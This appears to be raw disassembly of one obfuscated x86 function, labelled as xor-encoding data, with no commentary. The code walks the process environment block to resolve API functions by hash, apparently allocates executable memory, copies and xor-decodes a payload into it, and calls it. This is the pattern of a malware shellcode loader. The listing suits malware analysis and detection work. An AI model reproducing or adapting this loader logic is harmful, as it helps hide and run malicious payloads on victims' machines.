Function at 0x4e0656
Capabilities:
Encode data using xor

Disassembly:
mov edx, 0x5ccd0c70
mov ecx, 0x5ccd0c74
xor ecx, edx
sub esp, ecx
mov eax, 0x372e4398
xor eax, 0x372e4398
xor eax, esp
mov dword [eax], ebx
mov eax, edi
xor ebx, ebx
add ebx, eax
mov ecx, ebx
push ecx
mov edi, 4
mov eax, 0
xor edi, eax
sub esp, edi
xor ebx, ebx
add ebx, esp
mov dword [ebx], esi
push 0x35de76f2
mov eax, 0x46c7346d
pop edi
xor eax, edi
mov edx, 0x9c03149a
add eax, edx
mov edx, 0x73c3455c
xor edx, 0x8320ed83
add eax, edx
mov ebx, dword fs:[eax]
mov ecx, 0x52653492
xor ecx, 0x7ac8c792
mov esi, 0x11420040
mov edi, 0xc6100c90
xor esi, edi
xor ecx, esi
sub ebx, ecx
mov esi, dword [ebx]
mov ebx, 0x1408207
xor ebx, 0x3ec7c9c9
add esp, 0xfffffffc
mov dword [esp], ebx
mov edi, 0x241a21d5
add edi, 0x1b6d29ed
pop eax
xor edi, eax
add esi, edi
push esi
pop ecx
mov edi, 0
xor edi, ecx
mov ecx, 0xcf3f7ac
xor ecx, 0xf30c0802
sub edi, ecx
mov ebx, dword [edi - 0x52]
mov ecx, 0x1130
mov eax, 0x25d52001
xor ecx, eax
mov edx, 0x25d53125
sub ecx, edx
add ebx, ecx
sub edi, edi
add edi, ebx
push 0xc411114
mov edx, 0xc411110
pop esi
xor edx, esi
sub esp, edx
mov dword [esp], edi
pop ecx
mov ebx, ecx
xchg edx, ebx
mov edi, edx
xchg esi, edi
mov edi, 0xfffffffc
add esp, edi
push esp
pop edx
mov dword [edx], esi
sub ebx, ebx
add ebx, ecx
mov edi, 0x1b1ca529
xor edi, 0x1b1ca515
add ebx, edi
mov esi, 0x1914461a
add esi, 0xe6ebb9e5
add ebx, esi
mov edx, dword [ebx - 0x3b]
sub edi, edi
add edi, edx
mov ebx, 0x413ecfcf
mov eax, 0xbec13030
xor eax, ebx
add edi, eax
mov ecx, dword [edi + 1]
mov edi, 0x2857e66b
mov esi, 0x3a598ae0
xor esi, edi
mov edi, esi
xor edi, 0xffffffff
and edi, 0xedf1935f
and esi, 0x120e6ca0
or esi, edi
sub ecx, esi
mov edx, ecx
mov eax, 0
mov esi, 1
xor eax, esi
sub edx, eax
mov ebx, dword [edx + 1]
and ebx, 0xffff
xor ebx, 0x18
mov eax, ebx
and eax, eax
jne 0x4e0466
mov eax, 0x282db301
mov edx, 0x52100c08
xor eax, edx
add eax, 0xdb2068c7
add eax, 0xaaa1d834
add ecx, eax
sub ebx, ebx
add ebx, ecx
mov edx, 0xffffffff
add ebx, edx
mov esi, dword [ebx + 1]
mov eax, 0x72626eca
add eax, 0x8d9d9136
xor eax, esi
mov edx, 0x59a0514d
mov edi, 0x59a05149
xor edi, edx
sub esp, edi
mov dword [esp], eax
sub edi, edi
add edi, esi
mov edx, 0x177133a6
mov eax, 0xe88ecc59
xor edx, eax
add edi, edx
mov ecx, dword [edi + 1]
and ecx, 0xff
xor ecx, 0x6b
mov edx, ecx
add edx, 0
je 0x4e02ef
xor ecx, 0x20
cmp ecx, 0
jne 0x4e0446
pop edi
mov edx, 0x2fa970a4
xor edx, 0x473f579
mov eax, 0xf7e12fcd
xor edx, eax
xor edx, 0x23c455ea
sub edi, edx
mov ebx, 0x18f5a9b0
xor ebx, 0x18f5a9b4
sub esp, ebx
xor eax, eax
add eax, esp
mov dword [eax], edi
xor ebx, ebx
add ebx, edi
mov ecx, 0xffffffff
add ebx, ecx
mov eax, dword [ebx + 1]
and eax, 0xff
push 0x69d69382
mov edi, 0x69d69382
pop edx
xor edi, edx
xor edi, eax
mov esi, 0x522652c9
mov ebx, 0xadd9ad36
xor ebx, esi
xor edi, ebx
and edi, 0x4e
and eax, 0xffffffb1
or eax, edi
mov edi, eax
mov ecx, edi
mov edx, 0
xor edx, ecx
xchg ebx, edx
and ebx, ebx
je 0x4e03bf
push 0x3f53ff62
mov ebx, 0x46ebcbb9
pop ecx
xor ebx, ecx
mov edx, 0x2d1b6529
xor ebx, edx
xor ebx, 0x78f40307
xor eax, ebx
mov ecx, 0x100a0a2
mov edx, 0x56195554
xor ecx, edx
xor eax, ecx
mov edx, 0x5fbd8945
xor eax, edx
xor eax, 0x24f32e66
xor esi, esi
add esi, eax
and esi, 0xffffffff
jne 0x4e0446
pop edx
mov ebx, 0x12a544
mov edi, 0xd7281000
xor ebx, edi
push ebx
mov ecx, 0x514fea9
xor ecx, 0x2dd1b417
pop esi
xor ecx, esi
sub edx, ecx
mov eax, edx
add esp, 0xfffffffc
mov dword [esp], eax
mov edi, dword [esp]
add esp, 4
push 0xa2a301c9
mov eax, 0x5d5cfe36
pop ebx
xor eax, ebx
add edi, eax
mov esi, dword [edi + 1]
push esi
pop ebx
xchg ebx, edi
xor ecx, ecx
add ecx, edi
mov eax, ecx
xor eax, 0xffffffff
and eax, 0xffffffff
and ecx, 0
or ecx, eax
and ecx, 0xffffffff
and edi, 0
or edi, ecx
and edi, 0x320033
and esi, 0xffcdffcc
or esi, edi
test esi, esi
je 0x4e04a3
jmp 0x4e0466
push esp
pop ebx
mov ecx, 0xffffffb2
add ebx, ecx
sub ebx, 1
mov edx, dword [ebx + 0x4f]
mov esi, 0x329a132f
mov ecx, 0xcd65ecd3
xor ecx, esi
sub esp, ecx
pop eax
mov ecx, 0x1636ff79
xor ecx, 0x1636ff79
xor ecx, eax
mov edx, 0x6b0442f5
mov esi, 0x94fbbd0a
xor edx, esi
add ecx, edx
mov ebx, dword [ecx + 1]
mov edi, ebx
push edi
pop eax
mov edi, 0xfffffffd
add esp, edi
mov ecx, 1
sub esp, ecx
mov dword [esp], eax
jmp 0x4e01d3
mov esi, esp
mov ecx, esi
mov esi, 0x29
sub ecx, esi
mov eax, 1
sub ecx, eax
mov edx, dword [ecx + 0x2a]
mov ecx, 0x70168df
add ecx, 0xf8fe971d
sub esp, ecx
push edx
pop edi
mov eax, 0
xor eax, edi
mov ecx, 0xffffffff
add eax, ecx
mov esi, dword [eax + 1]
mov ebx, esi
push ebx
pop eax
mov ebx, 0x115bf0b
mov ecx, 0xfeea40c0
xor ebx, ecx
add eax, ebx
push 0x54b30b70
mov ebx, 0x54b30b71
pop ecx
xor ebx, ecx
sub eax, ebx
mov edi, dword [eax + 0x36]
mov esi, 0xc05000
mov ecx, 0x34300048
xor esi, ecx
mov eax, 0x653721f4
add eax, 0x65d88dac
xor esi, eax
sub edi, esi
xor edx, edx
add edx, edi
mov ecx, edx
xchg ecx, ebx
push 0x2c09d1ce
mov edx, 0x2c09d18e
pop esi
xor edx, esi
sub ebx, edx
mov eax, dword [ebx + 0x40]
mov esi, eax
mov ecx, 0x62d637e2
add ecx, 0x9d29c822
sub esp, ecx
mov dword [esp], esi
sub ebx, ebx
add ebx, eax
xor ecx, ecx
add ecx, ebx
xchg esi, ecx
push 0x7ca2b2ae
mov edi, 0x1281d293
pop ebx
xor edi, ebx
mov eax, edi
xor eax, 0xffffffff
and eax, 0x6e236001
and edi, 0x91dc9ffe
or edi, eax
add esi, edi
sub eax, eax
add eax, esi
mov ebx, 0xffffffff
add eax, ebx
mov edi, dword [eax + 1]
mov ecx, esp
mov edx, 0x390dc683
add edx, 0xc6f239db
sub ecx, edx
mov edx, 0x721e1444
add edx, 0x8de1ebbb
add ecx, edx
mov ebx, dword [ecx + 0x5f]
add edi, ebx
mov esi, 0x804a11b
mov ecx, 0x17110260
xor esi, ecx
mov ebx, esi
xor ebx, 0xffffffff
and ebx, 0xe0ea5cf3
and esi, 0x1f15a30c
or esi, ebx
sub edi, esi
mov ecx, 0x54255f56
mov ebx, 0x54255f56
xor ebx, ecx
xor ebx, edi
mov eax, 0x3ecbe910
mov esi, 0xc13416c8
xor eax, esi
sub ebx, eax
mov edi, dword [ebx - 0x28]
mov ecx, 0
xor ecx, esp
xchg ecx, ebx
mov ecx, 0
mov edx, 1
xor ecx, edx
sub ebx, ecx
mov eax, dword [ebx + 1]
add edi, eax
mov ecx, 0x2e77aed
add ecx, 0x4a32deb5
mov eax, 0xb2e5a63e
add ecx, eax
sub edi, ecx
mov eax, 0x205a2afe
xor eax, 0x69078cb8
mov ebx, 0x7ecd94e4
xor eax, ebx
xor eax, 0x3d9cec36
mov ecx, 0x1002008
mov esi, 0x40a00000
xor ecx, esi
mov ebx, 0x5ce1d87b
mov edx, 0xe8b2d91b
xor edx, ebx
xor ecx, edx
xor eax, ecx
add eax, edi
mov edx, eax
push edx
mov esi, dword [esp]
sub esp, 0xfffffffc
mov ebx, 0x16b51a82
mov ecx, 0xe94ae57d
xor ebx, ecx
add esi, ebx
mov eax, dword [esi + 1]
mov ebx, dword [esp]
add eax, ebx
mov ebx, eax
push ebx
pop edx
push edx
pop ebx
mov ecx, 0xfffffffc
add esp, ecx
mov dword [esp], ebx
mov edx, 0x4d7b87bd
mov ecx, 0x3c3fd392
xor ecx, edx
mov ebx, 0x341776a5
xor ecx, ebx
xor ecx, 0x4553228a
mov ebx, 0x4f740ba6
add ebx, 0xbd
push ebx
mov edx, 0x4b852623
mov esi, 0x4f12a44
xor esi, edx
mov eax, dword [esp]
sub esp, 0xfffffffc
xor esi, eax
xor ecx, esi
add ecx, edi
mov esi, ecx
mov edx, esi
xchg edx, eax
mov esi, 0x7a208fb7
add esi, 0x85df70a2
add eax, esi
mov esi, 1
mov ebx, 0
xor esi, ebx
sub eax, esi
mov ecx, dword [eax - 0x58]
mov edx, dword [esp + 4]
add ecx, edx
mov eax, ecx
push eax
mov edx, dword [esp]
sub esp, 0xfffffffc
push 0x8c66db65
mov eax, 0x73992499
pop ebx
xor eax, ebx
add esp, eax
mov dword [esp], edx
xor ebx, ebx
add ebx, edi
mov eax, 0x223ff866
add eax, 0xddc00782
add ebx, eax
mov edi, dword [ebx + 0x18]
mov eax, dword [esp + 8]
add edi, eax
xor edx, edx
add edx, edi
xchg edx, ecx
mov eax, 0xe958c7c
xor eax, 0xf16a73ec
sub ecx, eax
dec ecx
mov esi, dword [ecx - 0x6f]
mov eax, dword [esp + 8]
add esi, eax
mov ecx, 1
mov eax, 0
xor ecx, eax
mov edx, 0
mov eax, 4
xor edx, eax
xor ecx, edx
add esi, ecx
sub ebx, ebx
add ebx, esi
push 0x78ac05a7
mov eax, 0x78ac05e3
pop edx
xor eax, edx
add ebx, eax
dec ebx
mov esi, dword [ebx - 0x43]
mov ecx, esi
mov eax, ecx
mov ecx, eax
mov ebx, ecx
mov edx, 0x318d74d1
mov eax, 0x919fe447
xor eax, edx
xor ebx, eax
mov ecx, 0x46e8bd34
xor ebx, ecx
xor ebx, 0x1905d25d
and ebx, 0x6441636f
and esi, 0x9bbe9c90
or esi, ebx
mov edx, esi
mov ecx, edx
mov ebx, 0
xor ebx, ecx
xchg ebx, eax
or eax, eax
je 0x4e082d
mov eax, 0x36706028
xor eax, 0x5dad52e0
push eax
push 0x5b64970f
mov edx, 0x30b9a5c3
pop esi
xor edx, esi
mov ebx, dword [esp]
sub esp, 0xfffffffc
xor edx, ebx
add edi, edx
pop eax
mov ebx, 0x3004165e
mov esi, 0xc583c800
xor ebx, esi
push ebx
mov edx, 0x8300180
mov ebx, 0x2482020
xor edx, ebx
mov ecx, dword [esp]
sub esp, 0xfffffffc
xor edx, ecx
sub eax, edx
mov edx, 0x3e2b203f
add edx, 0xc1d4dfc5
sub esp, edx
mov esi, esp
push esi
pop ebx
mov dword [ebx], eax
jmp 0x4e072a
pop eax
add esp, 0xfffffffc
mov ebx, esp
mov dword [ebx], eax
mov esi, dword [esp]
sub esp, 0xfffffffc
mov ebx, 0x5a8b8ee5
xor ebx, 0xa5747102
sub esi, ebx
mov edi, 0x5a0843b
xor edi, 0xfa5f7bc4
add esi, edi
mov eax, dword [esi - 0x18]
and eax, 0xffff
add eax, eax
mov ecx, 0x6753f238
add ecx, 0xfed73e6d
mov ebx, 0x3c7067e4
add ebx, 0x29bac8c1
xor ebx, ecx
xor ebx, eax
add eax, ebx
pop ebx
add ebx, eax
mov esi, ebx
mov edx, 8
mov edi, 0x23
xor edx, edi
add esi, edx
mov edx, 0x30bf764d
mov eax, 0xcf4089b2
xor edx, eax
add esi, edx
mov ebx, dword [esi - 0x2a]
mov eax, 0
xor eax, esp
mov esi, 0x63
add eax, esi
sub eax, 1
mov edx, dword [eax - 0x62]
mov esi, 3
add esp, esi
add esp, 0
add esp, 1
add ebx, edx
mov esi, 0
mov edi, 4
xor esi, edi
sub esp, esi
mov edi, esp
push edi
pop ecx
mov dword [ecx], ebx
mov ecx, 0xdfba921
xor ecx, 0xd7c2b821
push ecx
push 0x1fb2d52c
mov esi, 0x5ecba74d
pop edi
xor esi, edi
push esi
mov esi, 0x1b8ee7e3
xor esi, 0x69ec8eaf
push esi
push 0x775e696c
mov edi, 0x133f0620
pop esi
xor edi, esi
push edi
xor esi, esi
add esi, esp
xchg esi, ecx
mov edi, ecx
mov esi, edi
mov edi, esi
sub esp, 4
mov dword [esp], edi
xor eax, eax
add eax, edx
mov ecx, 0x7cb42bcf
add ecx, 0x834bd42d
add esp, ecx
mov dword [esp], eax
call ebx
push 0x3d6ce761
mov edi, 0x5b601d2a
pop edx
xor edi, edx
add edi, 0xa3f3abfb
add edi, 0xf5ff59ca
add esp, edi
mov ecx, eax
push ecx
pop esi
mov edi, 0x60acb2c
add edi, 0xf9f534d0
add esp, edi
mov dword [esp], esi
call fcn.004e0e09
mov ecx, 0x5680aa45
mov esi, 0x8360512
xor ecx, esi
add ecx, 0xd69efee7
add ecx, 0xcaaa51c4
add ebx, ecx
push 0x361f096f
mov edx, 0x361f096f
pop ecx
xor edx, ecx
xor edx, ebx
mov esi, 0x454f8a2
mov ecx, 0xfbab075e
xor ecx, esi
add esp, ecx
mov dword [esp], edx
mov ecx, 0x60323010
add ecx, 0xf0
push ecx
push 0x1e66a995
mov edx, 0x7d09c5f9
pop ebx
xor edx, ebx
push edx
mov edx, 0xa4797ef
xor edx, 0x4b2bf69a
push edx
mov esi, 0x34522004
mov edi, 0x40204952
xor esi, edi
push esi
mov ecx, 0x6a1aa47b
add ecx, 0x85
push ecx
push 0x774b8906
mov ebx, 0x4578e563
pop ecx
xor ebx, ecx
push ebx
push 0x385cf804
mov ebx, 0x562e9d4f
pop ecx
xor ebx, ecx
push ebx
mov ecx, dword [esp + 0x20]
push esp
pop edi
xchg ebx, edi
mov edx, 0x96b7314
mov esi, 0xf6948ce8
xor edx, esi
add esp, edx
mov dword [esp], ebx
call ecx
push 0x4284ec66
mov ecx, 0x30bb733f
pop ebx
xor ecx, ebx
mov esi, ecx
xor esi, 0xffffffff
and esi, 0x8dc060ad
and ecx, 0x723f9f52
or ecx, esi
sub esp, ecx
sub ebx, ebx
add ebx, esp
mov edi, 4
sub esp, edi
mov edi, esp
mov ecx, edi
mov dword [ecx], ebx
mov edi, 0x30beaf09
mov esi, 0xcf4150f5
xor esi, edi
add esp, esi
mov edx, esp
mov dword [edx], eax
mov edx, dword [esp + 0x20]
call edx
mov edx, 0x48cffb61
add edx, 0xb730049f
push 0x42556fd7
mov esi, 0x42556fc7
pop edi
xor esi, edi
xor edx, esi
add esp, edx
mov ebx, 0x294dc46
xor ebx, 0x294dc06
add esp, 0xfffffffc
mov dword [esp], ebx
mov edx, 0x21a05039
xor edx, 0x21a04039
add esp, 0xfffffffc
mov dword [esp], edx
mov esi, 0xf9d1
add esi, 0x28
push esi
mov ebx, 0
mov edx, 0
xor ebx, edx
push ebx
call eax
pop ebx
push eax
pop esi
xchg edx, esi
mov ecx, 0x494ebd92
add ecx, 0xb6b1426e
xor ecx, edx
push 0xa5c6330
mov edx, 0xa5c6330
pop esi
xor edx, esi
xor edx, ecx
mov edi, 0xfffffffc
add esp, edi
mov edi, esp
mov esi, edi
mov dword [esi], edx
push 0x4c7cca9c
mov eax, 0x4c7cca98
pop edx
xor eax, edx
sub esp, eax
sub edi, edi
add edi, esp
mov dword [edi], ebx
mov edx, 0x6f242171
xor edx, 0x6f242171
mov eax, 0
mov esi, pe_nt_image_headers32
xor eax, esi
xor edx, eax
add ebx, edx
mov edx, 0xb8c9
mov edi, 0x4126
xor edx, edi
push edx
mov dl, byte [ebx]
mov byte [ecx], dl
mov edx, 0x26801244
mov eax, 0x414f6010
xor edx, eax
push 0xaf152b23
mov esi, 0x3725a688
pop edi
xor esi, edi
xor edx, esi
sub ebx, edx
mov eax, 0x7510eb79
add eax, 0x8aef1487
mov edi, 0
mov edx, 1
xor edi, edx
xor eax, edi
add ecx, eax
mov edx, dword [esp]
push 0xa24fe7cb
mov esi, 0x5db01837
pop edi
xor esi, edi
sub esp, esi
push 0x5c38c429
mov edi, 0x5c38c429
pop eax
xor edi, eax
push 0x2672253
mov esi, 0x2672252
pop eax
xor esi, eax
xor edi, esi
sub edx, edi
mov eax, 0x5a095b8a
mov edi, 0x5a095b8e
xor edi, eax
sub esp, edi
push esp
pop edi
xchg edi, esi
mov dword [esi], edx
xor esi, esi
add esi, edx
xor esi, 0
jne 0x4e0b52
pop edi
mov esi, 0x7821a115
add esi, 0xf6
push esi
mov ecx, 0x200002e0
mov esi, 0x200800
xor ecx, esi
mov edi, 0x3308c073
mov edx, 0x6b099177
xor edx, edi
xor ecx, edx
mov edx, esp
add edx, 0x75
dec edx
mov ebx, dword [edx - 0x74]
mov edi, 4
add esp, edi
xor ecx, ebx
mov esi, esp
add esi, 0xffffffff
mov edx, dword [esi + 1]
mov eax, 0x3c371588
xor eax, 0xc3c8ea74
sub esp, eax
push esp
pop eax
mov edi, 0xffffffff
add eax, edi
mov esi, dword [eax + 1]
mov ebx, 0x10dbaa45
xor ebx, 0xef2455b9
sub esp, ebx
mov edi, 0x5fdb6ef7
xor edi, 0x2a306ee7
mov eax, 0x2000000
mov ebx, 0x88140602
xor eax, ebx
xor edi, eax
sub esi, edi
push ecx
pop ebx
xor edi, edi
add edi, ebx
mov ebx, 4
sub esp, ebx
push esp
pop eax
mov dword [eax], edi
mov ebx, 0xfffffffe
add esp, ebx
mov eax, 0xfffffffe
add esp, eax
mov eax, 0x43b0e004
mov edi, 0x43b0e004
xor edi, eax
xor edi, esp
mov dword [edi], edx
mov edi, esi
mov eax, 0
xor eax, edi
mov ebx, 4
sub esp, ebx
mov dword [esp], eax
xor ecx, ecx
mov cl, byte [esi]
add edx, ecx
mov cl, byte [edx]
pop esi
mov edi, 0
xor edi, esp
mov eax, 0x39
add edi, eax
mov edx, dword [edi - 0x39]
mov eax, 0x5a91e5db
mov edi, 0xa56e1a27
xor edi, eax
sub esp, edi
mov byte [esi], cl
dec esi
pop ecx
mov ebx, 0x110a2423
mov eax, 0x46a9d92e
xor eax, ebx
mov ebx, 0x63df7ee4
mov edi, 0x347c83e8
xor edi, ebx
xor edi, eax
sub ecx, edi
mov eax, 0x54deb9a9
mov edi, 0x79f3d425
xor edi, eax
add edi, 0xea04226d
add edi, 0xe8ce7007
xor edi, ecx
sub edi, 0
jne 0x4e0c77
mov edi, 0xd5f5fa3
add edi, 0x2f
push edi
mov ecx, 0x90b0913
mov edi, 0x45456c0
xor ecx, edi
pop edx
xor ecx, edx
add esi, ecx
mov eax, 0x38bb2737
add eax, 0xc744d8cd
sub esp, eax
mov eax, esp
push eax
pop ebx
mov dword [ebx], esi
pop eax
call eax
mov edx, 0x5736ad2f
add edx, 0x42
push edx
push 0x2d10ecc7
mov eax, 0x6bfb5389
pop edx
xor eax, edx
mov edx, esp
dec edx
mov ecx, dword [edx + 1]
mov edx, 0xfffffffc
sub esp, edx
xor eax, ecx
pop esi
push 0x7ddad51
mov eax, 0x4af5dd7e
pop ecx
xor eax, ecx
mov edx, 0x185c0022
mov ecx, 0x7a32304
xor edx, ecx
xor edx, eax
pop edi
mov edx, 0x15b503e3
xor edx, 0x7c246de
push edx
mov ecx, 0xc203b0
mov edx, 0x12100c45
xor ecx, edx
mov edx, esp
dec edx
mov eax, dword [edx + 1]
mov edx, 0xfffffffc
sub esp, edx
xor ecx, eax
mov ebx, dword [esp]
mov ecx, 4
mov eax, 0
xor ecx, eax
add esp, ecx
ret